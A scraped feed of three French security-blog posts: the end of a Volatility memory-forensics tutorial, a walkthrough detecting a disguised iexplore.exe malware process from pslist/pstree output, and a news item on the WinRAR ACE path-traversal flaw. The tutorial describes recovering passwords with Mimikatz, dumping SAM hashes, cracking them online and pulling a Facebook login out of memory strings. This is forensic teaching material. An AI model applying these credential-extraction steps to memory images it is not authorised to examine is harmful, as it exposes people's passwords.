Vérifiez ensuite que le plugin s’est bien installé.

# volatility --plugins=/usr/share/volatility/plugins --info | grep mimikatz

A l’aide de Mimikatz dans l’image suivante, nous parvenons à afficher en clair le mot de passe de l’utilisateur mdestroy qui était connecté lors de la capture de l’image mémoire.

La SAM (Security Account Manager) est l’un des composants de la base de registre Windows.
Cette base de données contient notamment les mots de passe des comptes locaux. Lors de leur sauvegarde, ces mots de passes sont hashés soit par l’algorithme LM ou NTLM.

A l’aide du plugin hashdump, nous essayerons de récupérer les mots de passe hashés associés aux comptes locaux du système.

NB:Il est possible d’utiliser les symboles de redirection pour sauvegarder le résultat de la commande exécutée dans un fichier texte.

Les hashes des comptes locaux sont tous encadrés en rouge dans l’image ci-dessus.

A l’aide d’une version d’ophcrack en ligne, nous parvenons à déchiffrer le password du compte Admnistrateur…

…Par ailleurs, nous avons la confirmation du résultat obtenu par mimikatz sur l’utilisateur mdestroy.

Le résultat du déchiffrement du compte Golden nous laisse penser que le compte n’a pas de mot de passe !

Vu que ce hash est aussi associé au compte Invité, nous pouvons affirmer que ce compte ne possède pas de mot de passe.
Mais, quelques recherches Google m’ont permis de comprendre que ce hash pouvait également signifier que le compte à qui il est associé est désactivé.
Par conséquent, nous pouvons déduire que les comptes Golden et Invité ne possèdent pas de mots de passe ou sont tout simplement désactivés.

Informations issues des sessions Web actives

S’il existait des sessions Web actives au moment de l’acquisition de l’image mémoire, une simple recherche de chaînes de caractères à l’aide de strings peut afficher en clair des informations importantes comme des données de connexions, du contenu Web, des mails et bien d’autres.

Ci-dessous par exemple, nous découvrons un login Facebook et un mot de passe.

Dans cette même image mémoire, nous parvenons à afficher quelques mails.

Extraction d’une archive zip

Si une archive était ouverte au moment de l’acquisition de la mémoire, avec un peu de chance, Volatility peut vous aider à la récupérer.
Dans l’image suivante, à l’aide du plugin pslist, nous découvrons que le service WinRar était en cours d’exécution au moment de la capture de l’image mémoire.

A l’aide du plugin memdump, il est possible de réaliser un dépôt de la zone mémoire qui avait été allouée au processus WinRar.


L’outil d’analyse forensic Foremost peut aider à la récupérer des fichiers stockés dans les zones mémoires en se basant sur les entêtes des fichiers et leurs structures de données. Son utilisation est très simple.
Dans l’image suivante, nous utilisons Foremost sur le dépôt de la zone mémoire qui avait été allouée au processus WinRar.

Les résultats de Foremost sont tous sauvegardés dans un dossier output créé par l’application.

Parmi les fichiers extraits, nous découvrons une archive zip …


… Et le fichier qu’elle contient.

Ainsi prend fin ce billet, j’espère que vous l’avez aimé.
Si vous avez des questions, n’hésitez pas à me contacter par mail ou laissez tout jute des commentaires.

A bientôt ! 🙂

mdestroy

The post Comment extraire des informations dans une image mémoire ? appeared first on Homputer Security.

Détection de malware avec Volatility – Part 1

$
0
0

Bonjour à tous,

Aujourd’hui, nous verrons comment détecter des traces de logiciels malveillants dans les images mémoires à l’aide de l’outil d’analyse forensic Volatility.
Si vous voulez tout savoir sur Volatility, je vous invite à voir les articles suivants:

  • Introduction à Volatility
  • Comment extraire des informations dans une image mémoire ?

  • Avant d’entamer notre analyse, commençons par lister tous les processus en cours à l’acquisition de notre image mémoire à l’aide de pslist et pstree.

    mdestroy@Xtrem:~/Documents/VulVMs/memtest$ volatility --profile=Win7SP1x86_23418 pslist -f memory.dmp
    
    Offset(V)  Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit                          
    ---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
    0x87978b78 System                    4      0    103     3257 ------      0 2013-01-12 16:38:09 UTC+0000                                 
    0x88c3ed40 smss.exe                308      4      2       29 ------      0 2013-01-12 16:38:09 UTC+0000                                 
    0x8929fd40 csrss.exe               404    396      9      469      0      0 2013-01-12 16:38:14 UTC+0000                                 
    0x892ac2b8 wininit.exe             456    396      3       77      0      0 2013-01-12 16:38:14 UTC+0000                                 
    0x88d03a00 csrss.exe               468    448     10      471      1      0 2013-01-12 16:38:14 UTC+0000                                 
    0x892ced40 winlogon.exe            500    448      3      111      1      0 2013-01-12 16:38:14 UTC+0000                                 
    0x896294c0 services.exe            560    456      6      205      0      0 2013-01-12 16:38:16 UTC+0000                                 
    0x896427b8 lsass.exe               576    456      6      566      0      0 2013-01-12 16:38:16 UTC+0000                                 
    0x8962f7e8 lsm.exe                 584    456     10      142      0      0 2013-01-12 16:38:16 UTC+0000                                 
    0x8962f030 svchost.exe             692    560     10      353      0      0 2013-01-12 16:38:21 UTC+0000                                 
    0x897b5c20 svchost.exe             764    560      7      263      0      0 2013-01-12 16:38:23 UTC+0000                                 
    0x89805420 svchost.exe             832    560     19      435      0      0 2013-01-12 16:38:23 UTC+0000                                 
    0x89852918 svchost.exe             904    560     17      409      0      0 2013-01-12 16:38:24 UTC+0000                                 
    0x8986b030 svchost.exe             928    560     26      869      0      0 2013-01-12 16:38:24 UTC+0000                                 
    0x898911a8 svchost.exe            1084    560     10      257      0      0 2013-01-12 16:38:26 UTC+0000                                 
    0x898b2790 svchost.exe            1172    560     15      475      0      0 2013-01-12 16:38:27 UTC+0000                                 
    0x898a7868 AvastSvc.exe           1220    560     66     1180      0      0 2013-01-12 16:38:28 UTC+0000                                 
    0x8a0f9c40 spoolsv.exe            1712    560     14      338      0      0 2013-01-12 16:38:58 UTC+0000                                 
    0x8a102748 svchost.exe            1748    560     18      310      0      0 2013-01-12 16:38:58 UTC+0000                                 
    0x88cded40 sppsvc.exe             1872    560      4      143      0      0 2013-01-12 16:39:02 UTC+0000                                 
    0x8a1d84e0 vmtoolsd.exe           1968    560      6      220      0      0 2013-01-12 16:39:14 UTC+0000                                 
    0x9541c7e0 wlms.exe                336    560      4       45      0      0 2013-01-12 16:39:21 UTC+0000                                 
    0x8a1f5030 VMUpgradeHelpe          448    560      4       89      0      0 2013-01-12 16:39:21 UTC+0000                                 
    0x9542a030 TPAutoConnSvc.         1612    560      9      135      0      0 2013-01-12 16:39:23 UTC+0000                                 
    0x87ac0620 taskhost.exe           2352    560      8      149      1      0 2013-01-12 16:40:24 UTC+0000                                 
    0x87ad44d0 dwm.exe                2496    904      5       77      1      0 2013-01-12 16:40:25 UTC+0000                                 
    0x87ac6030 explorer.exe           2548   2484     24      766      1      0 2013-01-12 16:40:27 UTC+0000                                 
    0x87ae2880 TPAutoConnect.         2568   1612      5      146      1      0 2013-01-12 16:40:28 UTC+0000                                 
    0x87a9c288 conhost.exe            2600    468      1       35      1      0 2013-01-12 16:40:28 UTC+0000                                 
    0x87b82438 VMwareTray.exe         2660   2548      5       80      1      0 2013-01-12 16:40:29 UTC+0000                                 
    0x87aa9220 VMwareUser.exe         2676   2548      8      190      1      0 2013-01-12 16:40:30 UTC+0000                                 
    0x87b784b0 AvastUI.exe            2720   2548     14      220      1      0 2013-01-12 16:40:31 UTC+0000                                 
    0x898fe8c0 StikyNot.exe           2744   2548      8      135      1      0 2013-01-12 16:40:32 UTC+0000                                 
    0x87b6b030 iexplore.exe           2772   2548      2       74      1      0 2013-01-12 16:40:34 UTC+0000                                 
    0x898fbb18 SearchIndexer.         2900    560     13      636      0      0 2013-01-12 16:40:38 UTC+0000                                 
    0x87bd35b8 wmpnetwk.exe           3176    560      9      240      0      0 2013-01-12 16:40:48 UTC+0000                                 
    0x89f3d2c0 svchost.exe            3352    560      9      141      0      0 2013-01-12 16:40:58 UTC+0000                                 
    0x87c6a2a0 swriter.exe            3452   2548      1       19      1      0 2013-01-12 16:41:01 UTC+0000                                 
    0x87ba4030 soffice.exe            3512   3452      1       28      1      0 2013-01-12 16:41:03 UTC+0000                                 
    0x95483d18 soffice.bin            3556   3544      0 --------      1      0 2013-01-12 16:41:05 UTC+0000   2013-01-12 16:41:39 UTC+0000  
    0x87b8ca58 soffice.bin            3564   3512     12      400      1      0 2013-01-12 16:41:05 UTC+0000                                 
    0x89f1d3e8 svchost.exe            3624    560     14      348      0      0 2013-01-12 16:41:22 UTC+0000                                 
    0x95495c18 taskmgr.exe            1232   2548      6      116      1      0 2013-01-12 16:42:29 UTC+0000                                 
    0x87bf7030 cmd.exe                3152   2548      1       23      1      0 2013-01-12 16:44:50 UTC+0000                                 
    0x87c595b0 conhost.exe            3228    468      2       54      1      0 2013-01-12 16:44:50 UTC+0000                                 
    0x89898030 cmd.exe                1616   2772      2      101      1      0 2013-01-12 16:55:49 UTC+0000                                 
    0x954826b0 conhost.exe            2168    468      2       49      1      0 2013-01-12 16:55:50 UTC+0000                                 
    0x9549f678 iexplore.exe           1136   2548     18      454      1      0 2013-01-12 16:57:44 UTC+0000                                 
    0x87d4d338 iexplore.exe           3044   1136     37      937      1      0 2013-01-12 16:57:46 UTC+0000                                 
    0x87c90d40 audiodg.exe            1720    832      5      117      0      0 2013-01-12 16:58:11 UTC+0000                                 
    0x87cbfd40 winpmem-1.3.1.         3144   3152      1       23      1      0 2013-01-12 16:59:17 UTC+0000                                 
    
    
    mdestroy@Xtrem:~/Documents/VulVMs/memtest$ volatility --profile=Win7SP1x86_23418 pstree -f memory.dmp
    
    Name                                                  Pid   PPid   Thds   Hnds Time
    -------------------------------------------------- ------ ------ ------ ------ ----
     0x892ac2b8:wininit.exe                               456    396      3     77 2013-01-12 16:38:14 UTC+0000
    . 0x896294c0:services.exe                             560    456      6    205 2013-01-12 16:38:16 UTC+0000
    .. 0x89805420:svchost.exe                             832    560     19    435 2013-01-12 16:38:23 UTC+0000
    ... 0x87c90d40:audiodg.exe                           1720    832      5    117 2013-01-12 16:58:11 UTC+0000
    .. 0x89852918:svchost.exe                             904    560     17    409 2013-01-12 16:38:24 UTC+0000
    ... 0x87ad44d0:dwm.exe                               2496    904      5     77 2013-01-12 16:40:25 UTC+0000
    .. 0x898b2790:svchost.exe                            1172    560     15    475 2013-01-12 16:38:27 UTC+0000
    .. 0x89f3d2c0:svchost.exe                            3352    560      9    141 2013-01-12 16:40:58 UTC+0000
    .. 0x898fbb18:SearchIndexer.                         2900    560     13    636 2013-01-12 16:40:38 UTC+0000
    .. 0x8986b030:svchost.exe                             928    560     26    869 2013-01-12 16:38:24 UTC+0000
    .. 0x8a1d84e0:vmtoolsd.exe                           1968    560      6    220 2013-01-12 16:39:14 UTC+0000
    .. 0x8962f030:svchost.exe                             692    560     10    353 2013-01-12 16:38:21 UTC+0000
    .. 0x898911a8:svchost.exe                            1084    560     10    257 2013-01-12 16:38:26 UTC+0000
    .. 0x898a7868:AvastSvc.exe                           1220    560     66   1180 2013-01-12 16:38:28 UTC+0000
    .. 0x89f1d3e8:svchost.exe                            3624    560     14    348 2013-01-12 16:41:22 UTC+0000
    .. 0x9542a030:TPAutoConnSvc.                         1612    560      9    135 2013-01-12 16:39:23 UTC+0000
    ... 0x87ae2880:TPAutoConnect.                        2568   1612      5    146 2013-01-12 16:40:28 UTC+0000
    .. 0x88cded40:sppsvc.exe                             1872    560      4    143 2013-01-12 16:39:02 UTC+0000
    .. 0x8a102748:svchost.exe                            1748    560     18    310 2013-01-12 16:38:58 UTC+0000
    .. 0x8a0f9c40:spoolsv.exe                            1712    560     14    338 2013-01-12 16:38:58 UTC+0000
    .. 0x9541c7e0:wlms.exe                                336    560      4     45 2013-01-12 16:39:21 UTC+0000
    .. 0x8a1f5030:VMUpgradeHelpe                          448    560      4     89 2013-01-12 16:39:21 UTC+0000
    ... 0x892ced40:winlogon.exe                           500    448      3    111 2013-01-12 16:38:14 UTC+0000
    ... 0x88d03a00:csrss.exe                              468    448     10    471 2013-01-12 16:38:14 UTC+0000
    .... 0x87c595b0:conhost.exe                          3228    468      2     54 2013-01-12 16:44:50 UTC+0000
    .... 0x87a9c288:conhost.exe                          2600    468      1     35 2013-01-12 16:40:28 UTC+0000
    .... 0x954826b0:conhost.exe                          2168    468      2     49 2013-01-12 16:55:50 UTC+0000
    .. 0x87bd35b8:wmpnetwk.exe                           3176    560      9    240 2013-01-12 16:40:48 UTC+0000
    .. 0x87ac0620:taskhost.exe                           2352    560      8    149 2013-01-12 16:40:24 UTC+0000
    .. 0x897b5c20:svchost.exe                             764    560      7    263 2013-01-12 16:38:23 UTC+0000
    . 0x8962f7e8:lsm.exe                                  584    456     10    142 2013-01-12 16:38:16 UTC+0000
    . 0x896427b8:lsass.exe                                576    456      6    566 2013-01-12 16:38:16 UTC+0000
     0x8929fd40:csrss.exe                                 404    396      9    469 2013-01-12 16:38:14 UTC+0000
     0x87978b78:System                                      4      0    103   3257 2013-01-12 16:38:09 UTC+0000
    . 0x88c3ed40:smss.exe                                 308      4      2     29 2013-01-12 16:38:09 UTC+0000
     0x87ac6030:explorer.exe                             2548   2484     24    766 2013-01-12 16:40:27 UTC+0000
    . 0x87b6b030:iexplore.exe                            2772   2548      2     74 2013-01-12 16:40:34 UTC+0000
    .. 0x89898030:cmd.exe                                1616   2772      2    101 2013-01-12 16:55:49 UTC+0000
    . 0x95495c18:taskmgr.exe                             1232   2548      6    116 2013-01-12 16:42:29 UTC+0000
    . 0x87bf7030:cmd.exe                                 3152   2548      1     23 2013-01-12 16:44:50 UTC+0000
    .. 0x87cbfd40:winpmem-1.3.1.                         3144   3152      1     23 2013-01-12 16:59:17 UTC+0000
    . 0x898fe8c0:StikyNot.exe                            2744   2548      8    135 2013-01-12 16:40:32 UTC+0000
    . 0x87b784b0:AvastUI.exe                             2720   2548     14    220 2013-01-12 16:40:31 UTC+0000
    . 0x87b82438:VMwareTray.exe                          2660   2548      5     80 2013-01-12 16:40:29 UTC+0000
    . 0x87c6a2a0:swriter.exe                             3452   2548      1     19 2013-01-12 16:41:01 UTC+0000
    .. 0x87ba4030:soffice.exe                            3512   3452      1     28 2013-01-12 16:41:03 UTC+0000
    ... 0x87b8ca58:soffice.bin                           3564   3512     12    400 2013-01-12 16:41:05 UTC+0000
    . 0x9549f678:iexplore.exe                            1136   2548     18    454 2013-01-12 16:57:44 UTC+0000
    .. 0x87d4d338:iexplore.exe                           3044   1136     37    937 2013-01-12 16:57:46 UTC+0000
    . 0x87aa9220:VMwareUser.exe                          2676   2548      8    190 2013-01-12 16:40:30 UTC+0000
     0x95483d18:soffice.bin                              3556   3544      0 ------ 2013-01-12 16:41:05 UTC+0000
    

    Un processus iexplore.exe, probablement exécuté à partir d’une fenêtre de Windows Explorer, attire tout de suite l’attention.


    Ce même processus au pid 2772 est à l’origine de la création d’un processus cmd.exe une quinzaine de minutes plutard …

    Nous utiliserons le plugin psinfo pour savoir un peu plus sur ce processus louche.
    psinfo est un plugin qui permet d’afficher des informations sur les processus (nom du processus, pid, ppid, temps de création, l’adresse de base, le chemin absolu de l’exécutable) et les régions mémoires suspicieuses.
    Ce plugin n’est pas inclus dans Volatility, il faudra donc l’importer.
    Téléchargez psinfo à partir de ce lien, puis sauvegardez-le dans le dossier /usr/share/volatility/plugins/.
    Assurez-vous que le plugin a été bien importé.

    L’exécution de psinfo sur le processus au pid 2772 nous révèle qu’il a été exécuté partir du dossier C:\Users\John Doe\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch.

    Un emplacement plutôt curieux pour un fichier exe. En effet, sur Windows, le dossier Quick Launch permet un accès rapide vers des programmes et le Bureau Windows. En gros, ce dossier ne devrait comprendre que des raccourcis !

    A l’aide de procdump, réalisons un dump de ce processus suspicieux en un fichier exe que nous analyserons sur VirusTotal pour avoir la confirmation que nous avons à faire avec un logiciel malveillant.

    Sur VirusTotal, le fichier est signalé comme malicieux par 47/70 antivirus.

    Volatility nous a permis ici de détecter un malware qui utilisait le nom d’un exécutable d’une application légitime de Windows (Internet Explorer). Son emplacement singulier nous a permis de vite comprendre que nous avions à faire avec un logiciel malveillant.

    Cet article est le premier d’une série sur la détection de logiciels malveillants dans les images mémoires à l’aide de Volatility.

    A bientôt pour une nouvelle analyse !

    🙂

    mdestroy

    The post Détection de malware avec Volatility – Part 1 appeared first on Homputer Security.

    Une vulnérabilité vieille de 19 ans découverte dans WinRaR

    $
    0
    0

    Les chercheurs de la firme de sécurité CheckPoint ont rendu public des détails techniques d’une vulnérabilité découverte dans le logiciel de compression de données de Windows WinRaR.
    Cette vulnérabilité affecterait toutes les versions du logiciel sorties ces deux dernières décennies.

    La vulnérabilité en question réside dans la manière dont l’une des bibliothèques tierces utilisées par WinRaR, UNACEV2.DLL, gère la compression des fichiers au format de compression ACE.

    Selon les experts de CheckPoint, cette faille permettrait une traversée de chemin absolu pouvant être exploitée pour exécuter un code arbitraire sur un système ciblé lors d’une tentative de décompression d’un fichier malicieux.

    Cette traversée de chemin permettrait à un attaquant d’extraire un fichier dans un dossier de son choix, totalement différent de celui choisi par l’utilisateur. Ce qui donnerait l’opportunité par exemple d’extraire un fichier malicieux dans le dossier Startup de Windows où il sera automatiquement démarré à chaque reboot du système (Vidéo ci-dessous).

    L’une des astuces qui pourrait être utilisée par les pirates serait tout simplement de modifier l’extension du fichier malicieux dans le but de faire croire à l’utilisateur qu’il a à faire à un fichier RAR au lieu d’un fichier ACE en réalité.
    C’est une chose fort possible car WinRaR ne détecte pas le format d’un fichier par son extension, mais plutôt par son contenu.
    A l’exécution donc du fichier vulnérable, la bibliothèque UNACEV2.DLL sera ainsi sollicitée.

    Comme démontré dans la vidéo ci-dessus, pour piéger un utilisateur, le pirate n’aura qu’à l’amener à décompresser un fichier RAR.

    WinRar a décidé d’abandonner la bibliothèque UNACEV2.DLL et le format ACE afin de régler définivement le problème.
    Les utilisateurs sont invités à mettre à jour leur application à la toute dernière version du logiciel (version 5.70, encore en Bêta).

    Source: Research.checkpoint.com
    mdestroy

    The post Une vulnérabilité vieille de 19 ans découverte dans WinRaR appeared first on Homputer Security.

    Viewing all 97 articles
    Browse latest View live